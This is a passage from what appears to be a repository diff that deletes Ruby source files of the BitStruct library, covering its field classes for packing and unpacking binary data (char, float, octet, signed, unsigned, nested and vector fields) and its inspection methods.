unless opts[:omit_header]
result << fmt % ["byte", "type", "name", "size", "description"]
result << "-"*70
end
fields.each do |field|
field.describe(opts) do |desc|
result << fmt % desc
end
end
unless opts[:omit_footer]
result << @note if @note
end
result
end
end
# Subclasses can use this to append a string (or several) to the #describe
# output. Notes are not cumulative with inheritance. When used with no
# arguments simply returns the note string
def note(*str)
@note = str unless str.empty?
@note
end
end
# ------------------------
# :section: initialization and conversion methods
#
# ------------------------
# Initialize the string with the given string or bitstruct, or with a hash of
# field=>value pairs, or with the defaults for the BitStruct subclass, or
# with an IO or other object with a #read method. Fields can be strings or
# symbols. Finally, if a block is given, yield the instance for modification
# using accessors.
def initialize(value = nil) # :yields: instance
self << self.class.initial_value
case value
when Hash
value.each do |k, v|
send "#{k}=", v
end
when nil
else
if value.respond_to?(:read)
value = value.read(self.class.round_byte_length)
end
self[0, value.length] = value
end
self.class.closed!
yield self if block_given?
end
DEFAULT_TO_H_OPTS = {
:convert_keys => :to_sym,
:include_rest => true
}
# Returns a hash of {name=>value,...} for each field. By default, include
# the rest field.
# Keys are symbols derived from field names using +to_sym+, unless
# <tt>opts[:convert_keys]<\tt> is set to some other method name.
def to_h(opts = DEFAULT_TO_H_OPTS)
converter = opts[:convert_keys] || :to_sym
fields_for_to_h = fields
if opts[:include_rest] and (rest_field = self.class.rest_field)
fields_for_to_h += [rest_field]
end
fields_for_to_h.inject({}) do |h,f|
h[f.name.send(converter)] = send(f.name)
h
end
end
# Returns an array of values of the fields of the BitStruct. By default,
# include the rest field.
def to_a(include_rest = true)
ary =
fields.map do |f|
send(f.name)
end
if include_rest and (rest_field = self.class.rest_field)
ary << send(rest_field.name)
end
ary
end
## temporary hack for 1.9
if "a"[0].kind_of? String
def [](*args)
if args.size == 1 and args[0].kind_of?(Fixnum)
super.ord
else
super
end
end
def []=(*args)
if args.size == 2 and (i=args[0]).kind_of?(Fixnum)
super(i, args[1].chr)
else
super
end
end
end
class << self
# The unique "prototype" object from which new instances are copied.
# The fields of this instance can be modified in the class definition
# to set default values for the fields in that class. (Otherwise, defaults
# defined by the fields themselves are used.) A copy of this object is
# inherited in subclasses, which they may override using defaults and
# by writing to the initial_value object itself.
#
# If called with a block, yield the initial value object before returning
# it. Useful for customization within a class definition.
#
def initial_value # :yields: the initial value
unless @initial_value
iv = defined?(superclass.initial_value) ?
superclass.initial_value.dup : ""
if iv.length < round_byte_length
iv << "\0" * (round_byte_length - iv.length)
end
@initial_value = "" # Serves as initval while the real initval is inited
@initial_value = new(iv)
@closed = false # only creating the first _real_ instance closes.
fields.each do |field|
@initial_value.send("#{field.name}=", field.default) if field.default
end
end
yield @initial_value if block_given?
@initial_value
end
# Take +data+ (a string or BitStruct) and parse it into instances of
# the +classes+, returning them in an array. The classes can be given
# as an array or a separate arguments. (For parsing a string into a _single_
# BitStruct instance, just use the #new method with the string as an arg.)
def parse(data, *classes)
classes.flatten.map do |c|
c.new(data.slice!(0...c.round_byte_length))
end
end
# Join the given structs (array or multiple args) as a string.
# Actually, the inherited String#+ instance method is the same, as is using
# Array#join.
def join(*structs)
structs.flatten.map {|struct| struct.to_s}.join("")
end
end
# ------------------------
# :section: inspection methods
#
# ------------------------
DEFAULT_INSPECT_OPTS = {
:format => "#<%s %s>",
:field_format => "%s=%s",
:separator => ", ",
:field_name_meth => :name,
:include_rest => true,
:brackets => ["[", "]"],
:include_class => true,
:simple_format => "<%s>"
}
DETAILED_INSPECT_OPTS = {
:format => "%s:\n%s",
:field_format => "%30s = %s",
:separator => "\n",
:field_name_meth => :display_name,
:include_rest => true,
:brackets => [nil, "\n"],
:include_class => true,
:simple_format => "\n%s"
}
# A standard inspect method which does not add newlines.
def inspect(opts = DEFAULT_INSPECT_OPTS)
field_format = opts[:field_format]
field_name_meth = opts[:field_name_meth]
fields_for_inspect = fields.select {|field| field.inspectable?}
if opts[:include_rest] and (rest_field = self.class.rest_field)
fields_for_inspect << rest_field
end
ary = fields_for_inspect.map do |field|
field_format %
[field.send(field_name_meth),
field.inspect_in_object(self, opts)]
end
body = ary.join(opts[:separator])
if opts[:include_class]
opts[:format] % [self.class, body]
else
opts[:simple_format] % body
end
end
# A more visually appealing inspect method that puts each field/value on
# a separate line. Very useful when output is scrolling by on a screen.
#
# (This is actually a convenience method to call #inspect with the
# DETAILED_INSPECT_OPTS opts.)
def inspect_detailed
inspect(DETAILED_INSPECT_OPTS)
end
# ------------------------
# :section: field declaration methods
#
# ------------------------
# Define accessors for a variable length substring from the end of
# the defined fields to the end of the BitStruct. The _rest_ may behave as
# a String or as some other String or BitStruct subclass.
#
# This does not add a field, which is useful because a superclass can have
# a rest method which accesses subclass data. In particular, #rest does
# not affect the #round_byte_length class method. Of course, any data
# in rest does add to the #length of the BitStruct, calculated as a string.
# Also, _rest_ is not inherited.
#
# The +ary+ argument(s) work as follows:
#
# If a class is provided, use it for the Field class (String by default).
# If a string is provided, use it for the display_name (+name+ by default).
# If a hash is provided, use it for options.
#
# *Warning*: the rest reader method returns a copy of the field, so
# accessors on that returned value do not affect the original rest field.
#
def self.rest(name, *ary)
if @rest_field
raise ArgumentError, "Duplicate rest field: #{name.inspect}."
end
opts = parse_options(ary, name, String)
offset = round_byte_length
byte_range = offset..-1
class_eval do
field_class = opts[:field_class]
define_method name do ||
field_class.new(self[byte_range])
end
define_method "#{name}=" do |val|
self[byte_range] = val
end
@rest_field = Field.new(offset, -1, name, {
:display_name => opts[:display_name],
:rest_class => field_class
})
end
end
# Not included with the other fields, but accessible separately.
def self.rest_field; @rest_field; end
end

View File

@ -1,49 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for fixed length binary strings of characters.
# Declared with BitStruct.char.
class CharField < Field
#def self.default
# don't define this, since it must specify N nulls and we don't know N
#end
# Used in describe.
def self.class_name
@class_name ||= "char"
end
def add_accessors_to(cl, attr = name) # :nodoc:
unless offset % 8 == 0
raise ArgumentError,
"Bad offset, #{offset}, for #{self.class} #{name}." +
" Must be multiple of 8."
end
unless length % 8 == 0
raise ArgumentError,
"Bad length, #{length}, for #{self.class} #{name}." +
" Must be multiple of 8."
end
offset_byte = offset / 8
length_byte = length / 8
last_byte = offset_byte + length_byte - 1
byte_range = offset_byte..last_byte
val_byte_range = 0..length_byte-1
cl.class_eval do
define_method attr do ||
self[byte_range].to_s
end
define_method "#{attr}=" do |val|
val = val.to_s
if val.length < length_byte
val += "\0" * (length_byte - val.length)
end
self[byte_range] = val[val_byte_range]
end
end
end
end
end

View File

@ -1,301 +0,0 @@
# -*- coding: binary -*-
class BitStruct
class << self
# Define a char string field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits). Trailing nulls _are_
# considered part of the string.
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# Note that the accessors have COPY semantics, not reference.
#
def char(name, length, *rest)
opts = parse_options(rest, name, CharField)
add_field(name, length, opts)
end
alias string char
BitStruct.autoload :CharField, "bit-struct/char-field"
# Define a floating point field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits).
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# The <tt>:endian => :native</tt> option overrides the default of
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
# <tt>:little</tt>.
#
def float name, length, *rest
opts = parse_options(rest, name, FloatField)
add_field(name, length, opts)
end
BitStruct.autoload :FloatField, "bit-struct/float-field"
# Define an octet string field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits). Trailing nulls are
# not considered part of the string. The field is accessed using
# period-separated hex digits.
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
def hex_octets(name, length, *rest)
opts = parse_options(rest, name, HexOctetField)
add_field(name, length, opts)
end
BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field"
# Define a nested field in the current subclass of BitStruct,
# with the given _name_ and _nested_class_. Length is determined from
# _nested_class_.
#
# If a class is provided, use it for the Field class (i.e. <=NestedField).
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# For example:
#
# class Sub < BitStruct
# unsigned :x, 8
# end
#
# class A < BitStruct
# nest :n, Sub
# end
#
# a = A.new
#
# p a # ==> #<A n=#<Sub x=0>>
#
# If a block is given, use it to define the nested fields. For example, the
# following is equivalent to the above example:
#
# class A < BitStruct
# nest :n do
# unsigned :x, 8
# end
# end
#
# WARNING: the accessors have COPY semantics, not reference. When you call a
# reader method to get the nested structure, you get a *copy* of that data.
# Expressed in terms of the examples above:
#
# # This fails to set x in a.
# a.n.x = 3
# p a # ==> #<A n=#<Sub x=0>>
#
# # This works
# n = a.n
# n.x = 3
# a.n = n
# p a # ==> #<A n=#<Sub x=3>>
#
def nest(name, *rest, &block)
nested_class = rest.grep(Class).find {|cl| cl <= BitStruct}
rest.delete nested_class
opts = parse_options(rest, name, NestedField)
nested_class = opts[:nested_class] ||= nested_class
unless (block and not nested_class) or (nested_class and not block)
raise ArgumentError,
"nested field must have either a nested_class option or a block," +
" but not both"
end
unless nested_class
nested_class = Class.new(BitStruct)
nested_class.class_eval(&block)
end
opts[:default] ||= nested_class.initial_value.dup
opts[:nested_class] = nested_class
field = add_field(name, nested_class.bit_length, opts)
field
end
alias struct nest
BitStruct.autoload :NestedField, "bit-struct/nested-field"
# Define an octet string field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits). Trailing nulls are
# not considered part of the string. The field is accessed using
# period-separated decimal digits.
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
def octets(name, length, *rest)
opts = parse_options(rest, name, OctetField)
add_field(name, length, opts)
end
BitStruct.autoload :OctetField, "bit-struct/octet-field"
# Define a padding field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits).
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
def pad(name, length, *rest)
opts = parse_options(rest, name, PadField)
add_field(name, length, opts)
end
alias padding pad
BitStruct.autoload :PadField, "bit-struct/pad-field"
# Define a signed integer field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits).
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# SignedField adds the <tt>:fixed => divisor</tt> option, which specifies
# that the internally stored value is interpreted as a fixed point real
# number with the specified +divisor+.
#
# The <tt>:endian => :native</tt> option overrides the default of
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
# <tt>:little</tt>.
#
def signed name, length, *rest
opts = parse_options(rest, name, SignedField)
add_field(name, length, opts)
end
BitStruct.autoload :SignedField, "bit-struct/signed-field"
# Define a printable text string field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits). Trailing nulls are
# _not_ considered part of the string.
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# Note that the accessors have COPY semantics, not reference.
#
def text(name, length, *rest)
opts = parse_options(rest, name, TextField)
add_field(name, length, opts)
end
BitStruct.autoload :TextField, "bit-struct/text-field"
# Define a unsigned integer field in the current subclass of BitStruct,
# with the given _name_ and _length_ (in bits).
#
# If a class is provided, use it for the Field class.
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
#
# UnsignedField adds the <tt>:fixed => divisor</tt> option, which specifies
# that the internally stored value is interpreted as a fixed point real
# number with the specified +divisor+.
#
# The <tt>:endian => :native</tt> option overrides the default of
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
# <tt>:little</tt>.
#
def unsigned name, length, *rest
opts = parse_options(rest, name, UnsignedField)
add_field(name, length, opts)
end
BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field"
# Define a vector field in the current subclass of BitStruct,
# with the given _name_.
#
# If a class is provided, use it for the Vector class, otherwise
# the block must define the entry fields. The two forms looks like
# this:
#
# class Vec < BitStruct::Vector
# # these declarations apply to *each* entry in the vector:
# unsigned :x, 16
# signed :y, 32
# end
#
# class Packet < BitStruct
# # Using the Vec class defined above
# vector :v, Vec, "a vector", :length => 5
#
# # equivalently, using an anonymous subclass of BitStruct::Vector
# vector :v2, "a vector", :length => 5 do
# unsigned :x, 16
# signed :y, 32
# end
# end
#
# If a string is provided, use it for the display_name.
# If a hash is provided, use it for options.
# If a number is provided, use it for length (equivalent to using the
# :length option).
#
# WARNING: the accessors have COPY semantics, not reference. When you call a
# reader method to get the vector structure, you get a *copy* of that data.
#
# For example, to modify the numeric fields in a Packet as defined above:
#
# pkt = Packet.new
# vec = pkt.v
# entry = vec[2]
# entry.x = 123
# entry.y = -456
# vec[2] = entry
# pkt.v = vec
#
def vector(name, *rest, &block)
opts = parse_options(rest, name, nil)
cl = opts[:field_class]
opts[:field_class] = VectorField
unless (block and not cl) or (cl and not block)
raise ArgumentError,
"vector must have either a class or a block, but not both"
end
case
when cl == nil
vector_class = Class.new(BitStruct::Vector)
vector_class.class_eval(&block)
when cl < BitStruct
vector_class = Class.new(BitStruct::Vector)
vector_class.struct_class cl
when cl < BitStruct::Vector
vector_class = cl
else raise ArgumentError, "Bad vector class: #{cl.inspect}"
end
vector_class.default_options default_options
length = opts[:length] || rest.grep(Integer).first
## what about :length => :lenfield
unless length
raise ArgumentError,
"Must provide length as argument N or as option :length => N"
end
opts[:default] ||= vector_class.new(length) ## nil if variable length
opts[:vector_class] = vector_class
bit_length = vector_class.struct_class.round_byte_length * 8 * length
field = add_field(name, bit_length, opts)
field
end
BitStruct.autoload :VectorField, "bit-struct/vector-field"
end
autoload :Vector, "bit-struct/vector"
end

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for floats (single and double precision) in network order.
# Declared with BitStruct.float.
class FloatField < Field
# Used in describe.
def self.class_name
@class_name ||= "float"
end
def add_accessors_to(cl, attr = name) # :nodoc:
unless offset % 8 == 0
raise ArgumentError,
"Bad offset, #{offset}, for #{self.class} #{name}." +
" Must be multiple of 8."
end
unless length == 32 or length == 64
raise ArgumentError,
"Bad length, #{length}, for #{self.class} #{name}." +
" Must be 32 or 64."
end
offset_byte = offset / 8
length_byte = length / 8
last_byte = offset_byte + length_byte - 1
byte_range = offset_byte..last_byte
endian = (options[:endian] || options["endian"]).to_s
case endian
when "native"
ctl = case length
when 32; "f"
when 64; "d"
end
when "little"
ctl = case length
when 32; "e"
when 64; "E"
end
when "network", "big", ""
ctl = case length
when 32; "g"
when 64; "G"
end
else
raise ArgumentError,
"Unrecognized endian option: #{endian.inspect}"
end
cl.class_eval do
define_method attr do ||
self[byte_range].unpack(ctl).first
end
define_method "#{attr}=" do |val|
self[byte_range] = [val].pack(ctl)
end
end
end
end
end

View File

@ -1,21 +0,0 @@
# -*- coding: binary -*-
require 'bit-struct/char-field'
class BitStruct
# Class for char fields that can be accessed with values like
# "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a
# single octet. The original string-based accessors are still available with
# the <tt>_chars</tt> suffix.
#
# Declared with BitStruct.hex_octets.
class HexOctetField < BitStruct::OctetField
# Used in describe.
def self.class_name
@class_name ||= "hex_octets"
end
SEPARATOR = ":"
FORMAT = "%02x"
BASE = 16
end
end

View File

@ -1,77 +0,0 @@
# -*- coding: binary -*-
require 'bit-struct/bit-struct'
class BitStruct
# Class for nesting a BitStruct as a field within another BitStruct.
# Declared with BitStruct.nest.
class NestedField < Field
def initialize(*args)
super
end
# Used in describe.
def self.class_name
@class_name ||= "nest"
end
def class_name
@class_name ||= nested_class.name[/\w+$/]
end
def nested_class
@nested_class ||= options[:nested_class] || options["nested_class"]
end
def describe opts
if opts[:expand]
opts = opts.dup
opts[:byte_offset] = offset / 8
opts[:omit_header] = opts[:omit_footer] = true
nested_class.describe(nil, opts) {|desc| yield desc}
else
super
end
end
def add_accessors_to(cl, attr = name) # :nodoc:
unless offset % 8 == 0
raise ArgumentError,
"Bad offset, #{offset}, for nested field #{name}." +
" Must be multiple of 8."
end
unless length % 8 == 0
raise ArgumentError,
"Bad length, #{length}, for nested field #{name}." +
" Must be multiple of 8."
end
offset_byte = offset / 8
length_byte = length / 8
last_byte = offset_byte + length_byte - 1
byte_range = offset_byte..last_byte
nc = nested_class
cl.class_eval do
define_method attr do ||
nc.new(self[byte_range])
end
define_method "#{attr}=" do |val|
if val.length != length_byte
raise ArgumentError, "Size mismatch in nested struct assignment " +
"to #{attr} with value #{val.inspect}"
end
if val.class != nc
warn "Type mismatch in nested struct assignment " +
"to #{attr} with value #{val.inspect}"
end
self[byte_range] = val
end
end
end
end
end

View File

@ -1,46 +0,0 @@
# -*- coding: binary -*-
require 'bit-struct/char-field'
class BitStruct
# Class for char fields that can be accessed with values like
# "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a
# single octet. The original string-based accessors are still available with
# the <tt>_chars</tt> suffix.
#
# Declared with BitStruct.octets.
class OctetField < BitStruct::CharField
# Used in describe.
def self.class_name
@class_name ||= "octets"
end
SEPARATOR = "."
FORMAT = "%d"
BASE = 10
def add_accessors_to(cl, attr = name) # :nodoc:
attr_chars = "#{attr}_chars"
super(cl, attr_chars)
sep = self.class::SEPARATOR
base = self.class::BASE
fmt = self.class::FORMAT
cl.class_eval do
define_method attr do ||
ary = []
send(attr_chars).each_byte do |c|
ary << fmt % c
end
ary.join(sep)
end
old_writer = "#{attr_chars}="
define_method "#{attr}=" do |val|
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
send(old_writer, data)
end
end
end
end
end

View File

@ -1,16 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for fixed length padding.
class PadField < Field
# Used in describe.
def self.class_name
@class_name ||= "padding"
end
def add_accessors_to(cl, attr = name) # :nodoc:
# No accessors for padding.
end
def inspectable?; false; end
end
end

View File

@ -1,259 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for signed integers in network order, 1-16 bits, or 8n bits.
# Declared with BitStruct.signed.
class SignedField < Field
# Used in describe.
def self.class_name
@class_name ||= "signed"
end
def add_accessors_to(cl, attr = name) # :nodoc:
offset_byte = offset / 8
offset_bit = offset % 8
length_bit = offset_bit + length
length_byte = (length_bit/8.0).ceil
last_byte = offset_byte + length_byte - 1
max = 2**length-1
mid = 2**(length-1)
max_unsigned = 2**length
to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n}
# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n}
divisor = options[:fixed] || options["fixed"]
divisor_f = divisor && divisor.to_f
# if divisor and not divisor.is_a? Fixnum
# raise ArgumentError, "fixed-point divisor must be a fixnum"
# end
endian = (options[:endian] || options["endian"]).to_s
case endian
when "native"
ctl = length_byte <= 2 ? "s" : "l"
if length == 16 or length == 32
to_signed = proc {|n| n}
# with pack support, to_signed can be replaced with no-op
end
when "little"
ctl = length_byte <= 2 ? "v" : "V"
when "network", "big", ""
ctl = length_byte <= 2 ? "n" : "N"
else
raise ArgumentError,
"Unrecognized endian option: #{endian.inspect}"
end
data_is_big_endian =
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
if length_byte == 1
rest = 8 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
cl.class_eval do
if divisor
define_method attr do ||
to_signed[(self[offset_byte] & mask) >> rest] / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[offset_byte] =
(self[offset_byte] & mask2) | ((val<<rest) & mask)
end
else
define_method attr do ||
to_signed[(self[offset_byte] & mask) >> rest]
end
define_method "#{attr}=" do |val|
self[offset_byte] =
(self[offset_byte] & mask2) | ((val<<rest) & mask)
end
end
end
elsif offset_bit == 0 and length % 8 == 0
field_length = length
byte_range = offset_byte..last_byte
cl.class_eval do
case field_length
when 8
if divisor
define_method attr do ||
to_signed[self[offset_byte]] / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[offset_byte] = val
end
else
define_method attr do ||
to_signed[self[offset_byte]]
end
define_method "#{attr}=" do |val|
self[offset_byte] = val
end
end
when 16, 32
if divisor
define_method attr do ||
to_signed[self[byte_range].unpack(ctl).first] / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[byte_range] = [val].pack(ctl)
end
else
define_method attr do ||
to_signed[self[byte_range].unpack(ctl).first]
end
define_method "#{attr}=" do |val|
self[byte_range] = [val].pack(ctl)
end
end
else
reader_helper = proc do |substr|
bytes = substr.unpack("C*")
bytes.reverse! unless data_is_big_endian
bytes.inject do |sum, byte|
(sum << 8) + byte
end
end
writer_helper = proc do |val|
bytes = []
val += max_unsigned if val < 0
while val > 0
bytes.push val % 256
val = val >> 8
end
if bytes.length < length_byte
bytes.concat [0] * (length_byte - bytes.length)
end
bytes.reverse! if data_is_big_endian
bytes.pack("C*")
end
if divisor
define_method attr do ||
to_signed[reader_helper[self[byte_range]] / divisor_f]
end
define_method "#{attr}=" do |val|
self[byte_range] = writer_helper[(val * divisor).round]
end
else
define_method attr do ||
to_signed[reader_helper[self[byte_range]]]
end
define_method "#{attr}=" do |val|
self[byte_range] = writer_helper[val]
end
end
end
end
elsif length_byte == 2 # unaligned field that fits within two whole bytes
byte_range = offset_byte..last_byte
rest = 16 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest]
mask = mask.pack("B16").unpack(ctl).first
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
mask2 = mask2.pack("B16").unpack(ctl).first
cl.class_eval do
if divisor
define_method attr do ||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] /
divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
x = (self[byte_range].unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)
end
else
define_method attr do ||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest]
end
define_method "#{attr}=" do |val|
x = (self[byte_range].unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)
end
end
end
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
byte_range = offset_byte..last_byte
rest = 32 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest]
mask = mask.pack("B32").unpack(ctl).first
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
mask2 = mask2.pack("B32").unpack(ctl).first
cl.class_eval do
if divisor
define_method attr do ||
bytes = self[byte_range]
bytes << 0
to_signed[((bytes.unpack(ctl).first & mask) >> rest)] /
divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
bytes = self[byte_range]
bytes << 0
x = (bytes.unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)[0..2]
end
else
define_method attr do ||
bytes = self[byte_range]
bytes << 0
to_signed[(bytes.unpack(ctl).first & mask) >> rest]
end
define_method "#{attr}=" do |val|
bytes = self[byte_range]
bytes << 0
x = (bytes.unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)[0..2]
end
end
end
else
raise "unsupported: #{inspect}"
end
end
end
end

View File

@ -1,45 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for null-terminated printable text strings.
# Declared with BitStruct.text.
class TextField < Field
# Used in describe.
def self.class_name
@class_name ||= "text"
end
def add_accessors_to(cl, attr = name) # :nodoc:
unless offset % 8 == 0
raise ArgumentError,
"Bad offset, #{offset}, for #{self.class} #{name}." +
" Must be multiple of 8."
end
unless length % 8 == 0
raise ArgumentError,
"Bad length, #{length}, for #{self.class} #{name}." +
" Must be multiple of 8."
end
offset_byte = offset / 8
length_byte = length / 8
last_byte = offset_byte + length_byte - 1
byte_range = offset_byte..last_byte
val_byte_range = 0..length_byte-1
cl.class_eval do
define_method attr do ||
self[byte_range].sub(/\0*$/, "").to_s
end
define_method "#{attr}=" do |val|
val = val.to_s
if val.length < length_byte
val += "\0" * (length_byte - val.length)
end
self[byte_range] = val[val_byte_range]
end
end
end
end
end

View File

@ -1,249 +0,0 @@
# -*- coding: binary -*-
class BitStruct
# Class for unsigned integers in network order, 1-16 bits, or 8n bits.
# Declared with BitStruct.unsigned.
class UnsignedField < Field
# Used in describe.
def self.class_name
@class_name ||= "unsigned"
end
def add_accessors_to(cl, attr = name) # :nodoc:
offset_byte = offset / 8
offset_bit = offset % 8
length_bit = offset_bit + length
length_byte = (length_bit/8.0).ceil
last_byte = offset_byte + length_byte - 1
divisor = options[:fixed] || options["fixed"]
divisor_f = divisor && divisor.to_f
# if divisor and not divisor.is_a? Fixnum
# raise ArgumentError, "fixed-point divisor must be a fixnum"
# end
endian = (options[:endian] || options["endian"]).to_s
case endian
when "native"
ctl = length_byte <= 2 ? "S" : "L"
when "little"
ctl = length_byte <= 2 ? "v" : "V"
when "network", "big", ""
ctl = length_byte <= 2 ? "n" : "N"
else
raise ArgumentError,
"Unrecognized endian option: #{endian.inspect}"
end
data_is_big_endian =
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
if length_byte == 1
rest = 8 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
cl.class_eval do
if divisor
define_method attr do ||
((self[offset_byte] & mask) >> rest) / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[offset_byte] =
(self[offset_byte] & mask2) | ((val<<rest) & mask)
end
else
define_method attr do ||
(self[offset_byte] & mask) >> rest
end
define_method "#{attr}=" do |val|
self[offset_byte] =
(self[offset_byte] & mask2) | ((val<<rest) & mask)
end
end
end
elsif offset_bit == 0 and length % 8 == 0
field_length = length
byte_range = offset_byte..last_byte
cl.class_eval do
case field_length
when 8
if divisor
define_method attr do ||
self[offset_byte] / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[offset_byte] = val
end
else
define_method attr do ||
self[offset_byte]
end
define_method "#{attr}=" do |val|
self[offset_byte] = val
end
end
when 16, 32
if divisor
define_method attr do ||
self[byte_range].unpack(ctl).first / divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
self[byte_range] = [val].pack(ctl)
end
else
define_method attr do ||
self[byte_range].unpack(ctl).first
end
define_method "#{attr}=" do |val|
self[byte_range] = [val].pack(ctl)
end
end
else
reader_helper = proc do |substr|
bytes = substr.unpack("C*")
bytes.reverse! unless data_is_big_endian
bytes.inject do |sum, byte|
(sum << 8) + byte
end
end
writer_helper = proc do |val|
bytes = []
while val > 0
bytes.push val % 256
val = val >> 8
end
if bytes.length < length_byte
bytes.concat [0] * (length_byte - bytes.length)
end
bytes.reverse! if data_is_big_endian
bytes.pack("C*")
end
if divisor
define_method attr do ||
reader_helper[self[byte_range]] / divisor_f
end
define_method "#{attr}=" do |val|
self[byte_range] = writer_helper[(val * divisor).round]
end
else
define_method attr do ||
reader_helper[self[byte_range]]
end
define_method "#{attr}=" do |val|
self[byte_range] = writer_helper[val]
end
end
end
end
elsif length_byte == 2 # unaligned field that fits within two whole bytes
byte_range = offset_byte..last_byte
rest = 16 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest]
mask = mask.pack("B16").unpack(ctl).first
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
mask2 = mask2.pack("B16").unpack(ctl).first
cl.class_eval do
if divisor
define_method attr do ||
((self[byte_range].unpack(ctl).first & mask) >> rest) /
divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
x = (self[byte_range].unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)
end
else
define_method attr do ||
(self[byte_range].unpack(ctl).first & mask) >> rest
end
define_method "#{attr}=" do |val|
x = (self[byte_range].unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)
end
end
end
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
byte_range = offset_byte..last_byte
rest = 32 - length_bit
mask = ["0"*offset_bit + "1"*length + "0"*rest]
mask = mask.pack("B32").unpack(ctl).first
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
mask2 = mask2.pack("B32").unpack(ctl).first
cl.class_eval do
if divisor
define_method attr do ||
bytes = self[byte_range]
bytes << 0
((bytes.unpack(ctl).first & mask) >> rest) /
divisor_f
end
define_method "#{attr}=" do |val|
val = (val * divisor).round
bytes = self[byte_range]
bytes << 0
x = (bytes.unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)[0..2]
end
else
define_method attr do ||
bytes = self[byte_range]
bytes << 0
(bytes.unpack(ctl).first & mask) >> rest
end
define_method "#{attr}=" do |val|
bytes = self[byte_range]
bytes << 0
x = (bytes.unpack(ctl).first & mask2) |
((val<<rest) & mask)
self[byte_range] = [x].pack(ctl)[0..2]
end
end
end
else
raise "unsupported: #{inspect}"
end
end
end
end

View File

@ -1,78 +0,0 @@
# -*- coding: binary -*-
require 'bit-struct/vector'
class BitStruct
# Class for embedding a BitStruct::Vector as a field within a BitStruct.
# Declared with BitStruct.vector.
class VectorField < Field
# Used in describe.
def self.class_name
@class_name ||= "vector"
end
# Used in describe.
def class_name
@class_name ||= vector_class.name[/\w+$/]
end
# Returns the subclass of Vector that is used to manage the value of this
# field. If the class was specified in the BitStruct.vector declaration,
# #vector_class will return it, otherwise it will be an anonymous class
# (which you can assign to a constant to make nonymous ;).
def vector_class
@vector_class ||= options[:vector_class] || options["vector_class"]
end
def describe opts # :nodoc:
if opts[:expand]
opts = opts.dup
